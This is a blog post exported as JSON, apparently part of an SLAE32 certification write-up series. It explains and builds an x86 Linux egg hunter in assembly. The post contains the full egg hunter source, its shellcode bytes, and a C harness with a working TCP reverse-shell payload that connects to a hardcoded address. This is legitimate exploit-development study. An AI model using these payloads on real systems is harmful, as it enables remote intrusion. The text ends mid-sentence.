{"id":280,"date":"2022-05-15T20:52:42","date_gmt":"2022-05-15T20:52:42","guid":{"rendered":"https:\/\/jacklgmcbride.co.uk\/blog\/?p=280"},"modified":"2023-10-06T13:16:38","modified_gmt":"2023-10-06T13:16:38","slug":"slae32-assignment-3-egg-hunter-shellcode","status":"publish","type":"post","link":"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/2022\/05\/15\/slae32-assignment-3-egg-hunter-shellcode\/","title":{"rendered":"SLAE32 Assignment #3: Egg Hunter Shellcode"},"content":{"rendered":"\n<p>In this blog post, we will be covering our process behind understanding and implementing egg hunter shellcode for x86 Linux in assembly.<\/p>\n\n\n\n<p>This post follows on in the series of posts created for the <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\">SLAE32<\/a> certification course provided by Pentester Academy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Overview<\/h2>\n\n\n\n<p>During exploit development, one of the key contraints separating a successful exploit from an unsuccessful exploit is memory space restrictions.<\/p>\n\n\n\n<p>In a given memory corruption vulnerability, whilst it may be possible to redirect execution flow (i.e., overwriting EIP) to a shellcode buffer of your choosing, you may not necessarily have enough space to execute the shellcode you desire following this initial overwrite. This is where the idea behind an 'egg hunter' comes in.<\/p>\n\n\n\n<p>The paper <a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/egghunt-shellcode.pdf\">Safely Searching Process Virtual Address Space<\/a> by Skape details how a process' <em>virtual address space<\/em> can be searched for a tag (referred to as an egg) prepending shellcode payload placed by an attacker in an non-deterministic location in memory.<\/p>\n\n\n\n<p>The technique described by Skape is designed to overcome the dangers of searching through unallocated memory regions for the egg. One of the challenges this must account for is the fact there is no way of telling initially if a memory page is mapped or has the correct access permissions. With this in mind, an ideal 'egg hunter' is defined in the paper by the following three characteristics:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Robust<\/strong>\n<ul class=\"wp-block-list\">\n<li>The egg hunter must be capable of searching through invalid memory without crashing, as well as being able to search anywhere in memory.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Small<\/strong>\n<ul class=\"wp-block-list\">\n<li>By nature, egg hunters must be small in order to fit where larger, more desirable payloads cannot.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Fast<\/strong>\n<ul class=\"wp-block-list\">\n<li>The methods to search memory must be as quick as possible without hindering size or robustness. The faster the egg hunter finds the egg, the less time the application will hang.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter syscalls<\/h3>\n\n\n\n<p>Whilst egg hunters can be implemented in both Windows and Linux, for the purposes of this blog we are focused on x86 Linux as our target architecture. As such, we will be looking into those types of syscalls we can use to build an egg hunter.<\/p>\n\n\n\n<p>The primary job of our syscalls in writing an egg hunter is to validate process memory addresses. When a system call is passed an invalid memory address, it will in most cases return the <strong>EFAULT<\/strong> error code to indicate this. Most importantly, this information can be gathered by the syscall without crashing the process, making it the perfect approach for an egg hunter.<\/p>\n\n\n\n<p>Of the x86 Linux syscalls available, the following syscalls can be used to implement egg hunters:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>access()<\/li>\n\n\n\n<li>sigaction()<\/li>\n<\/ul>\n\n\n\n<p>In this blog post, we will cover and analyse the examples presented in the <a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/egghunt-shellcode.pdf\">paper<\/a> by Skape, two of which use the <strong>access()<\/strong> syscall, and the last, <strong>sigaction()<\/strong>.<\/p>\n\n\n\n<p>This blog post will cover the intial concepts around egg hunters with an in-depth look at the first <strong>access()<\/strong> implementation. Following this is a lighter analysis of the implementations of the second <strong>access()<\/strong> and <strong>sigaction()<\/strong> egg hunters.<\/p>\n\n\n\n<p>We'll start with the first egg hunter example using <strong>access()<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunters using access()<\/h3>\n\n\n\n<p>The <strong>access()<\/strong> call is used to check whether the calling process can access the file designated by <strong>pathname<\/strong>.<\/p>\n\n\n\n<p>According to the system call reference file in \/usr\/include\/i386-linux-gnu\/asm\/unistd_32.h, the syscall number for <strong>access()<\/strong> is 33.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220427203934.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Before we jump in to the implementation, first we review the <strong>access()<\/strong> syscall's man page to understand what it does.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220427195319.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>access()<\/strong> call uses the following function header:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nint access(const char *pathname, int mode);\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man Reference<\/th><\/tr><\/thead><tbody><tr><td>access<\/td><td>pathname<\/td><td>Path to file being checked<\/td><\/tr><tr><td>access<\/td><td>mode<\/td><td>Specifies the accessibility check to be performed<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Along with the <strong>pathname<\/strong>, the mode checks with an accessibility specifier. By default, this value is set to <strong>F_OK<\/strong>, which tests for the existence of the given file.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220427200448.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We can use this function with our egg hunter implementation to repeatedly attempt to access areas of memory in search of the egg.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">access() argument structure<\/h3>\n\n\n\n<p>A breakdown of the arguments to <strong>access()<\/strong> is as follows:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man Reference<\/th><th>C Code Reference<\/th><\/tr><\/thead><tbody><tr><td>access<\/td><td>pathname<\/td><td>Path to file being checked<\/td><td>-<\/td><\/tr><tr><td>socket<\/td><td>mode<\/td><td>Specifies the accessibility check to be performed<\/td><td>F_OK<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Now that we know the initial values to call <strong>access()<\/strong>, we can begin structuring the rest of the egg hunter code around it.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Choosing an Egg<\/h3>\n\n\n\n<p>An 'egg' in the shellcode sense will mark the beginning of our shellcode, and will be located using our program.<\/p>\n\n\n\n<p>As the egg will serve as a precursor to our second stage shellcode, depending on our egg hunter implementation, the instructions making up the egg may end up being inadvertently executed during the search process. This means that we need to be sure that the shellcode making up the egg itself does not introduce any harmful behaviour. Secondly, the egg needs to be distinguishable from common sequences of bytes in the program. The paper uses the below pattern as its egg, which when assembled is unique, and does not introduce umnwanted behaviour:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n00000000 90 nop  \n00000001 50 push eax  \n00000002 90 nop  \n00000003 50 push eax  \n00000004 90 nop  \n00000005 50 push eax  \n00000006 90 nop  \n00000007 50 push eax\n<\/pre><\/div>\n\n\n<p>The above egg is 8 bytes, as this introduces a sufficient level of uniqueness whilst still being considered small enough. Whilst a shorter egg of 4 bytes may be possible, there is a higher likelihood of a smaller egg having collisions occuring within memory, leading to false positive results of our egg being found.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Structuring the Egg hunter<\/h3>\n\n\n\n<p>Now that we know what we are searching for, we can move onto implementing the first example egg hunter shellcode, which we will do in blocks.<\/p>\n\n\n\n<p>Below, we walk through both examples of the <strong>access()<\/strong> egg hunters.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 1 (access())<\/h3>\n\n\n\n<p>According to the reference paper, the first<strong>action()<\/strong> egg hunter is characterised by the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Size:<\/strong> 39 bytes<\/li>\n\n\n\n<li><strong>Targets:<\/strong> Linux<\/li>\n\n\n\n<li><strong>Egg Size:<\/strong> 8 bytes<\/li>\n\n\n\n<li><strong>Executable Egg:<\/strong> Yes<\/li>\n\n\n\n<li><strong>Speed:<\/strong> 8 seconds (0x0 . . . 0xbfffebd4)<\/li>\n<\/ul>\n\n\n\n<p>The reference assembly instructions for the first <strong>access()<\/strong> egg hunter are as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n00000000 BB90509050 mov ebx,0x50905090  \n00000005 31C9 xor ecx,ecx  \n00000007 F7E1 mul ecx  \n00000009 6681CAFF0F or dx,0xfff  \n0000000E 42 inc edx  \n0000000F 60 pusha  \n00000010 8D5A04 lea ebx,&#x5B;edx+0x4]  \n00000013 B021 mov al,0x21  \n00000015 CD80 int 0x80  \n00000017 3CF2 cmp al,0xf2  \n00000019 61 popa  \n0000001A 74ED jz 0x9  \n0000001C 391A cmp &#x5B;edx],ebx  \n0000001E 75EE jnz 0xe  \n00000020 395A04 cmp &#x5B;edx+0x4],ebx  \n00000023 75E9 jnz 0xe  \n00000025 FFE2 jmp edx\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">Initial setup<\/h4>\n\n\n\n<p>At the start of the assembly code, the first few instructions involve moving the egg into <strong>EBX<\/strong> and clearing the registers. Below, the code does this by first XORing <strong>ECX<\/strong>, and then using <code>mul<\/code>.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n        mov ebx, 0x50905090;            Move the egg into EBX register\n\n        xor ecx, ecx;                   Clear ECX register\n\n        mul ecx;                        Clear EAX and EDX registers\n<\/pre><\/div>\n\n\n<p>The <code>mul<\/code> assembly instruction multiplies the value of <strong>EAX<\/strong> with the value in the given register, <strong>ECX<\/strong> and stores the result in <strong>EDX<\/strong>. Given that <strong>ECX<\/strong> was cleared before the call to <code>mul<\/code>, both <strong>EAX<\/strong> and <strong>EDX<\/strong> become zero.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">Iterating through memory<\/h4>\n\n\n\n<p>Next, the <strong>DX<\/strong> register is ORed with the value <strong>0xfff<\/strong>. As <strong>DX<\/strong> is initially set to 0, this operation will set <strong>DX<\/strong> to <strong>0xfff<\/strong>.<\/p>\n\n\n\n<p>The purpose of this operation is to shift <strong>DX<\/strong> to the last address in the current memory page. As the smallest unit of memory on 32-bit linux is the size of a page, it can be assumed that all the memory addresses in the current page are invalid if one address is.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nor dx, 0xfff;                   Go to last address in the memory page\n<\/pre><\/div>\n\n\n<p>Now that the code can iterate through memory in terms of pages, the egg hunter has to define a way to iterate through the address of a page it finds to be valid. It does this by increasing the memory counter by incrementing <strong>EDX<\/strong> as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ninc edx;                        Increase the memory counter by 1\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">Checking the memory page<\/h4>\n\n\n\n<p>The main interest of an egg hunter is how it determines whether the current memory page it is looking at is valid.<\/p>\n\n\n\n<p>First, the register values are pushed to the stack in order to save them. This is so we can keep track of our location in memory in between subsequent syscalls to <strong>access()<\/strong>, which, as we know conventionally uses the R32 registers to hold its arguments.<\/p>\n\n\n\n<p>Next, the address of <strong>EDX<\/strong> + 0x4, which points to the memory address to be validated, is moved into <strong>EBX<\/strong>, the <strong>pathname<\/strong> argument. Next, the syscall value of <strong>0x21<\/strong>, which corresponds to <strong>33<\/strong> for <strong>access()<\/strong> is moved into <strong>AL<\/strong>.<\/p>\n\n\n\n<p>Once the syscall is executed, the result which is put into the <strong>AL<\/strong> register is compared against <strong>0xf2<\/strong>, which indicates an access violation. The <strong>cmp<\/strong> function essentially negates the second register from the first, and sets the <strong>ZF<\/strong> zero flag if they are equal. Finally, the <strong>popa<\/strong> instruction is called, which restores the register values.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\npusha;                          Push the registers to the stack to save them\n\n        lea ebx,&#x5B;edx+0x4];              Set EBX to the pathname pointer\n\n        mov al,0x21;                    Set al to syscall number 33 in hex\n\n        int 0x80;                       Execute access() syscall\n\n        cmp al, 0xf2;                   Check if result is an access violation\n\n        popa;                           restore registers\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">Locating the egg<\/h4>\n\n\n\n<p>In the next segment, the assembly code checks the outcome of the comparison between <strong>AL<\/strong> and <strong>0xf2<\/strong>, to see if the memory page is invalid. If the <strong>ZF<\/strong> flag is 1, indicating invalid memory, the shellcode will jump back to the segment responsible for incrementing the page number by one, so as to move onto the next memory page in the search.<\/p>\n\n\n\n<p>Next, the contents of <strong>EBX<\/strong>, which once again thanks to the <strong>popa<\/strong> instruction contains the value of the egg, is compared against the pointer stored in <strong>EDX<\/strong>, which points to the current memory page. If they do not match, the shellcode will increment the memory counter by 1 to continue looking.<\/p>\n\n\n\n<p>If a match occurs, a secondary <strong>cmp<\/strong> instruction is used to compare the egg in <strong>EBX<\/strong> with the <strong>EDX<\/strong>+ 0x4 address, which, as we know that the egg in this case is a repeat sequence of 8 bytes (\\x50\\x90\\x50\\90\\x50\\x90\\x50\\x90, will be equal in the case that we have found the egg.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\njz _loop_inc_page;              If access violation, jump to next page in memory\n\n        cmp &#x5B;edx],ebx;                  Check for first half of egg\n\n        jnz _loop_inc_one;              If no match, increment memory counter by one\n\n        cmp &#x5B;edx+0x4],ebx;              Check for second half of egg\n\n        jnz _loop_inc_one;              If no match, increment memory counter by one\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">Launching the second stage<\/h4>\n\n\n\n<p>If both comparisons match, then we have successfully located the egg, which is pointed to in <strong>EDX<\/strong>. As the egg is designed to prelude our second stage shellcode, the program now jumps to the shellcode for execution.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n_matched:\n\n        jmp edx;                        If match, jmp to memory address containing egg\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 1 assembly code<\/h3>\n\n\n\n<p>The complete assembly implementation of the first <strong>access()<\/strong> egg hunter is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n; egg_hunter_x86.nasm\n; Author: Jack McBride (PA-6483)\n; Website: https:\/\/jacklgmcbride.co.uk\n;\n; Purpose: SLAE32 exam assignment\n;\n; Assignment 3: Linux x86 Egg Hunter Shellcode\n\nglobal _start\n\nsection .text\n\n_start:\n\n_setup:\n\n        mov ebx, 0x50905090;            Move the egg into EBX register\n\n        xor ecx, ecx;                   Clear ECX register\n\n        mul ecx;                        Clear EAX and EDX registers\n\n_loop_inc_page:\n\n        or dx, 0xfff;                   Go to last address in the memory page\n\n_loop_inc_one:\n\n        inc edx;                        Increase the memory counter by 1\n\n_loop_check:\n\n        pusha;                          Push the registers to the stack to save them\n\n        lea ebx,&#x5B;edx+0x4];              Set EBX to the pathname pointer\n\n        mov al,0x21;                    Set al to syscall number 33 in hex\n\n        int 0x80;                       Execute access() syscall\n\n        cmp al, 0xf2;                   Check if result is an access violation\n\n        popa;                           restore registers\n\n_loop_check_valid:\n\n        jz _loop_inc_page;              If access violation, jump to next page in memory\n\n        cmp &#x5B;edx],ebx;                  Check for first half of egg\n\n        jnz _loop_inc_one;              If no match, increment memory counter by one\n\n        cmp &#x5B;edx+0x4],ebx;              Check for second half of egg\n\n        jnz _loop_inc_one;              If no match, increment memory counter by one\n\n_matched:\n\n        jmp edx;                        If match, jmp to memory address containing egg\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Testing the first egg hunter<\/h3>\n\n\n\n<p>Now that we have our assembly code completed, we can compile the egg hunter with nasm.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# nasm -f elf32 -o egg_hunter_access_1_x86.o egg_hunter_access_1_x86.nasm\n\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# ld -o egg_hunter_access_1_x86 egg_hunter_access_1_x86.o\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428082133.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Now if we run the compiled binary, we notice it just <strong>hangs<\/strong>. This is because we haven't given the hunter an egg to hunt!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428082255.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Before we do anything, we extract the egg hunter shellcode using a <a href=\"https:\/\/www.commandlinefu.com\/commands\/view\/6051\/get-all-shellcode-on-binary-file-from-objdump\">objdump one-liner<\/a> from CommandlineFu:<\/p>\n\n\n\n<p>As we can see, there are no null bytes in the egg hunter shellcode.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n \u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# objdump -d egg_hunter_access_1_x86 |grep '&#x5B;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/&quot;\/'|sed 's\/$\/&quot;\/g'\n&quot;\\xbb\\x90\\x50\\x90\\x50\\x31\\xc9\\xf7\\xe1\\x66\\x81\\xca\\xff\\x0f\\x42\\x60\\x8d\\x5a\\x04\\xb0\\x21\\xcd\\x80\\x3c\\xf2\\x61\\x74\\xed\\x39\\x1a\\x75\\xee\\x39\\x5a\\x04\\x75\\xe9\\xff\\xe2&quot;\n<\/pre><\/div>\n\n\n<p>To properly test the egg hunter, we can provide it with a second stage payload which is prepended with the egg. The below program does this. In this case, our secondary buffer will execute a reverse connection back to our machine. More details on the TCP reverse shell shellcode can be found in the <a href=\"https:\/\/jacklgmcbride.co.uk\/blog\/index.php\/2022\/05\/15\/slae32-assignment-2-linux-x86-tcp-reverse-shell\/\">second blog post<\/a>.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char egghunter&#x5B;] = \\\n&quot;\\xbb\\x90\\x50\\x90\\x50\\x31\\xc9\\xf7\\xe1\\x66\\x81\\xca\\xff\\x0f\\x42\\x60\\x8d\\x5a\\x04\\xb0\\x21\\xcd\\x80\\x3c\\xf2\\x61\\x74\\xed\\x39\\x1a\\x75\\xee\\x39\\x5a\\x04\\x75\\xe9\\xff\\xe2&quot;;\n\nunsigned char code&#x5B;] = \\\n&quot;\\x90\\x50\\x90\\x50\\x90\\x50\\x90\\x50\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x03\\x31\\xff\\xbf\\x3f\\x57\\x96\\x68\\x83\\xf7\\xff\\x31\\xc9\\x57\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\x52\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80&quot;;\n\nint main()\n{\n        printf(&quot;Egg hunter Length: %d\\n&quot;, strlen(egghunter));\n        printf(&quot;Shellcode Length: %d\\n&quot;, strlen(code));\n\n        int (*ret)() = (int(*)())egghunter;\n\n        ret();\n}\n<\/pre><\/div>\n\n\n<p>In the above shellcode, we have made a slight modification to the <code>code<\/code> variable, in that we have prepended it with our egg <code>\\x90\\x50\\x90\\x50\\x90\\x50\\x90\\x50<\/code>.<\/p>\n\n\n\n<p>We compile the shellcode using gcc as below:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\n<p>We set up a netcat listener, execute the compiled shellcode binary and obtain a reverse shell, indicating that the egg hunter found our shellcode and executed it. Success!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428082824.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 1 analysis<\/h3>\n\n\n\n<p>Next, we fire up <a href=\"https:\/\/www.sourceware.org\/gdb\/\">gdb<\/a> and begin our analysis on what is happening at an assembly level. To make things easier, we have installed the PEDA add-in for gdb, which can be found <a href=\"https:\/\/github.com\/longld\/peda\">here<\/a>.<\/p>\n\n\n\n<p>To begin, we set a breakpoint on the main function and run the program:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428085841.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Next, we resolve the memory address storing our egg hunter shellcode and set a breakpoint to it:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428105853.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Next, we continue execution to the breakpoint and begin to step through it.<\/p>\n\n\n\n<p>We reach the point where the initial register setup is done, and <strong>EDX<\/strong> is set to the first memory page.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428110203.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>EAX<\/strong> and <strong>EBX<\/strong> registers are prepared for the call to <strong>access()<\/strong>, which will check whether the memory address value pointed to by <strong>EBX<\/strong> (0x1004) is valid memory or not.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428110330.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We see that after the call to <strong>access()<\/strong>, the <strong>EAX<\/strong> register is set to the value <strong>0xfffffff2<\/strong>, indicating the memory area was invalid.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428110640.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>As <strong>AL<\/strong> was set to <strong>0xf2<\/strong>, the subsequent <strong>cmp<\/strong> instruction resolves to 0, which then sets the ZF zero flag as shown below:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428111136.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>As a result of this zero flag being set, the subsequent <strong>JE<\/strong> instruction is taken:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428111306.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>This means the shellcode jumps back to the <strong>or dx, 0xfff<\/strong> instruction, which is used to increment the page at which the egg hunter is checking for validity.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428111517.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>As the <strong>DX<\/strong> register was previously set to <strong>0x1000<\/strong> the OR operation increments the register to be pointing at the next page in the same way:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428111647.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>And once again, <strong>EDX<\/strong> is incremented by <strong>0x1<\/strong> to point it to the start of the next page:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428111750.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The egg hunter shellcode will continue in this fashion, iterating over each and every page in memory until it is checking a valid memory page.<\/p>\n\n\n\n<p>We can speed up that process by setting a breakpoint following the <strong>JE<\/strong> instruction:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428112024.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We then issue <strong>c<\/strong> for continue, and our program reaches the breakpoint. As we can see, at this point in the code, <strong>EDX<\/strong> has the value <strong>0x400000<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428112205.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>At this point, the program compares the contents of the memory location pointed to by <strong>EDX<\/strong> with <strong>EBX<\/strong>, which points to the egg. If they are not equal, which in this case is true, the code takes the <strong>JNE<\/strong> instruction and jumps to <strong>0x40404e<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428112559.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>At <strong>0x40404e<\/strong>, <strong>EDX<\/strong> is incremented by one. It is now pointing to the next address of the same <strong>valid<\/strong> page.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428112648.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>So in basic terms, the egg hunter is iterating over each page in 